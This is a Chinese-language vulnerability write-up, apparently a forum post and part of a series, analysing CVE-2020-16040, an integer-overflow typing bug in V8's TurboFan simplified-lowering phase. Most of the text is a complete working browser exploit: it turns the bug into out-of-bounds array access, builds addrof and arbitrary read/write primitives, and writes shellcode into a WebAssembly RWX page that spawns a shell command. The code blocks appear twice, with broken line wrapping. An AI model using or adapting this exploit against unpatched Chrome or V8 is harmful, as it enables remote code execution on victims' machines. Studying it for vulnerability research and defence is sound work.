作者: coolboy
CVE-2020-16040是chrome v8 turbofan引擎的一个漏洞,具体发生在turbofan 的simplified-lowering阶段,错误的将加法的结果判定为Signed32类型,导致整数溢出,从而进一步利用漏洞实现RCE。这是一个系列文章,本文是第四篇。
turbofan根据静态类型推测会得出表达式值的范围,称之为representation。用--trace-representation参数执行d8,可以看到日志。示例如下:
representation有什么作用呢?它给优化器做优化提供依据。如上,通过representation为Range(-1, 0),知道z的取值范围为(-1,0),因此当判断z > 0的时候知道永远不可能为真,于是优化引擎可以直接删除这个分支,从而优化代码。
执行结果如下:
解释一下:
漏洞在于turbofan 的Simplified Lowering阶段在处理SpeculativeSafeIntegerAdd函数时发生了错误。见下面:
表示turbofan优化时处理加法,两个数字都是kWord32类型,相加之和的类型限制在Signed32,即[-2147483648, 2147483647]之间。这就导致了bug,因为两个数相加结果可能超过这个范围。比如:2147483647 + 1,结果为2147483648,不在[-2147483648, 2147483647]范围,而VisitSpeculativeIntegerAdditiveOp将结果限定在Type::Signed32()类型,导致了bug。考虑下面情况:
执行结果:
原因如下:
使用参数--allow-natives-syntax运行d8执行%DebugPrint(arr);可以得到arr数组打印结果如下:
可以看到长度确实为-1。
Analyzing CVE-2020-16040
Chrome Exploitation
git clone https:
//chromium
.googlesource.com
/chromium/tools/depot_tools
.git
export
PATH=
/path/to/depot_tools
:$PATH
mkdir
~
/v8
cd
~
/v8
fetch v8
cd
v8
git checkout 8.9.40
gclient
sync
alias
gm=~
/v8/tools/dev/gm
.py
gm x64.release
gm x64.debug
.
/out/x64
.release
/d8
--help
git clone https:
//chromium
.googlesource.com
/chromium/tools/depot_tools
.git
export
PATH=
/path/to/depot_tools
:$PATH
mkdir
~
/v8
cd
~
/v8
fetch v8
cd
v8
git checkout 8.9.40
gclient
sync
alias
gm=~
/v8/tools/dev/gm
.py
gm x64.release
gm x64.debug
.
/out/x64
.release
/d8
--help
var
bs =
new
ArrayBuffer(8);
var
fs =
new
Float64Array(bs);
var
is =
new
BigUint64Array(bs);
function
ftoi(val) {
fs[0] = val;
return
is[0];
}
function
itof(val) {
is[0] = val;
return
fs[0];
}
function
foo(x) {
let y = 0x7fffffff;
if
(x == NaN) y = NaN;
if
(x) y = -1;
let z = y + 1;
z >>= 31;
z = Math.sign(z | 1);
z = 0x7fffffff + 1 - z;
let i = x ? 0 : z;
i = 0 - Math.sign(i);
let a =
new
Array(i);
a.shift();
let b = [1.1, 2.2, 3.3];
return
[a, b];
}
for
(let i = 0; i < 100000; i++)
foo(
true
);
let x = foo(
false
);
let arr = x[0];
let oob = x[1];
arr[16] = 1337;
let flt = [1.1];
let tmp = {a: 1};
let obj = [tmp];
function
addrof(o) {
let a = ftoi(oob[24]) & 0xffffffffn;
let b = ftoi(oob[12]) >> 32n;
oob[12] = itof((b << 32n) + a);
obj[0] = o;
return
(ftoi(flt[0]) & 0xffffffffn) - 1n;
}
function
read(p) {
let a = ftoi(oob[12]) >> 32n;
oob[12] = itof((a << 32n) + p - 8n + 1n);
return
ftoi(flt[0]);
}
function
write(p, x) {
let a = ftoi(oob[12]) >> 32n;
oob[12] = itof((a << 32n) + p - 8n + 1n);
flt[0] = itof(x);
}
let wasm =
new
Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x85, 0x80, 0x80, 0x80,
0x00, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01,
0x00, 0x04, 0x84, 0x80, 0x80, 0x80, 0x00, 0x01, 0x70, 0x00, 0x00, 0x05, 0x83,
0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x01, 0x06, 0x81, 0x80, 0x80, 0x80, 0x00,
0x00, 0x07, 0x91, 0x80, 0x80, 0x80, 0x00, 0x02, 0x06, 0x6d, 0x65, 0x6d, 0x6f,
0x72, 0x79, 0x02, 0x00, 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x00, 0x0a, 0x8a,
0x80, 0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 0x2a,
0x0b
]);
let module =
new
WebAssembly.Module(wasm);
let instance =
new
WebAssembly.Instance(module);
let entry = instance.exports.main;
let rwx = read(addrof(instance) + 0x68n);
let shellcode =
new
Uint8Array([
0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x99, 0x50, 0x54,
0x5f, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x54, 0x5e, 0x52, 0xe8, 0x15, 0x00, 0x00,
0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x27, 0x3a, 0x30, 0x2e,
0x30, 0x27, 0x20, 0x78, 0x63, 0x61, 0x6c, 0x63, 0x00, 0x56, 0x57, 0x54, 0x5e,
0x6a, 0x3b, 0x58, 0x0f, 0x05
]);
let buf =
new
ArrayBuffer(shellcode.length);
let view =
new
DataView(buf);
write(addrof(buf) + 0x14n, rwx);
for
(let i = 0; i < shellcode.length; i++)
view.setUint8(i, shellcode[i]);
entry();
var
bs =
new
ArrayBuffer(8);
var
fs =
new
Float64Array(bs);
var
is =
new
BigUint64Array(bs);
function
ftoi(val) {
fs[0] = val;
return
is[0];
}
function
itof(val) {
is[0] = val;
return
fs[0];
}
function
foo(x) {
let y = 0x7fffffff;
if
(x == NaN) y = NaN;
if
(x) y = -1;
let z = y + 1;
z >>= 31;
z = Math.sign(z | 1);
z = 0x7fffffff + 1 - z;
let i = x ? 0 : z;
i = 0 - Math.sign(i);
let a =
new
Array(i);
a.shift();
let b = [1.1, 2.2, 3.3];
return
[a, b];
}
for
(let i = 0; i < 100000; i++)
foo(
true
);
let x = foo(
false
);
let arr = x[0];
let oob = x[1];
arr[16] = 1337;
let flt = [1.1];
let tmp = {a: 1};
let obj = [tmp];
function
addrof(o) {
let a = ftoi(oob[24]) & 0xffffffffn;
let b = ftoi(oob[12]) >> 32n;
oob[12] = itof((b << 32n) + a);
obj[0] = o;
return
(ftoi(flt[0]) & 0xffffffffn) - 1n;
}
function
read(p) {
let a = ftoi(oob[12]) >> 32n;
oob[12] = itof((a << 32n) + p - 8n + 1n);
return
ftoi(flt[0]);
}
function
write(p, x) {
let a = ftoi(oob[12]) >> 32n;
oob[12] = itof((a << 32n) + p - 8n + 1n);
flt[0] = itof(x);
}
let wasm =
new
Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x85, 0x80, 0x80, 0x80,
0x00, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01,
0x00, 0x04, 0x84, 0x80, 0x80, 0x80, 0x00, 0x01, 0x70, 0x00, 0x00, 0x05, 0x83,
0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x01, 0x06, 0x81, 0x80, 0x80, 0x80, 0x00,
0x00, 0x07, 0x91, 0x80, 0x80, 0x80, 0x00, 0x02, 0x06, 0x6d, 0x65, 0x6d, 0x6f,
0x72, 0x79, 0x02, 0x00, 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x00, 0x0a, 0x8a,
0x80, 0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 0x2a,
0x0b
]);
let module =
new
WebAssembly.Module(wasm);
let instance =
new
WebAssembly.Instance(module);
let entry = instance.exports.main;
let rwx = read(addrof(instance) + 0x68n);
let shellcode =
new
Uint8Array([
0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x99, 0x50, 0x54,
0x5f, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x54, 0x5e, 0x52, 0xe8, 0x15, 0x00, 0x00,
0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x27, 0x3a, 0x30, 0x2e,
0x30, 0x27, 0x20, 0x78, 0x63, 0x61, 0x6c, 0x63, 0x00, 0x56, 0x57, 0x54, 0x5e,
0x6a, 0x3b, 0x58, 0x0f, 0x05
]);
let buf =
new
ArrayBuffer(shellcode.length);
let view =
new
DataView(buf);
write(addrof(buf) + 0x14n, rwx);
for
(let i = 0; i < shellcode.length; i++)
view.setUint8(i, shellcode[i]);
entry();
$ .
/out/x64
.release
/d8
poc.js
C-style arbitrary precision calculator (version 2.12.7.2)
Calc is
open
software. For license details
type
: help copyright
[Type
"exit"
to
exit
, or
"help"
for
help.]
$ .
/out/x64
.release
/d8
poc.js
C-style arbitrary precision calculator (version 2.12.7.2)
Calc is
open
software. For license details
type
: help copyright
[Type
"exit"
to
exit
, or
"help"
for
help.]
# ./d8 --trace-representation test.js
function
foo(x) {
let y = 0x7fffffff;
if
(x == NaN) y = NaN;
if
(x) y = -1;
let z = y + 1;
z >>= 31;
if
(z > 0) {
}
}
# ./d8 --trace-representation test.js
function
foo(x) {
let y = 0x7fffffff;
if
(x == NaN) y = NaN;
if
(x) y = -1;
let z = y + 1;
z >>= 31;
if
(z > 0) {
}
}
x = {}
function
foo() {
console.log(x.v);
}
x.v = 1;
for
(i = 0; i < 10000; i++) {
console.log(i +
":"
);
foo();
}
x.v = 2;
x = {}
function
foo() {
console.log(x.v);
}
x.v = 1;
for
(i = 0; i < 10000; i++) {
console.log(i +
":"
);
foo();
}
x.v = 2;
0:
1
1:
1
...
7578:
1
Marking
Marking
Marking
--{Propagate phase}--
visit
initial
initial
initial
visit
...
7579:
1
...
9999:
1
[bailout (kind: deopt-soft, reason: Insufficient
type
feedback
for
generic named access): begin. deoptimizing 0x1db60825287d <JSFunction (sfi = 0x1db608252699)>, opt
id
1, node
id
101, bailout
id
8, FP to SP delta 88, caller SP 0x7ffd4755fef8, pc 0x1db6000846a6]
0:
1
1:
1
...
7578:
1
Marking
Marking
Marking
--{Propagate phase}--
visit
initial
initial
initial
visit
...
7579:
1
...
9999:
1
[bailout (kind: deopt-soft, reason: Insufficient
type
feedback
for
generic named access): begin. deoptimizing 0x1db60825287d <JSFunction (sfi = 0x1db608252699)>, opt
id
1, node
id
101, bailout
id
8, FP to SP delta 88, caller SP 0x7ffd4755fef8, pc 0x1db6000846a6]
void
VisitSpeculativeIntegerAdditiveOp(Node* node, Truncation truncation,
SimplifiedLowering* lowering) {
...
VisitBinop<T>(node, left_use, right_use, MachineRepresentation::kWord32,
Type::Signed32());
...
}
void
VisitSpeculativeIntegerAdditiveOp(Node* node, Truncation truncation,
SimplifiedLowering* lowering) {
...
VisitBinop<T>(node, left_use, right_use, MachineRepresentation::kWord32,
Type::Signed32());
...
}
function
foo(a) {
var
y = 0x7fffffff;
if
(a == NaN) y = NaN;
if
(a) y = -1;
const z = (y + 1)|0;
console.log(z);
if
(z < 0) {
console.log(
'< 0'
);
}
else
{
console.log(
'>= 0'
);
}
}
foo(
true
);
foo(
false
);
console.log(
"================"
);
%PrepareFunctionForOptimization(foo);
foo(
true
);
%OptimizeFunctionOnNextCall(foo);
foo(
false
);
function
foo(a) {
var
y = 0x7fffffff;
if
(a == NaN) y = NaN;
if
(a) y = -1;
const z = (y + 1)|0;
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!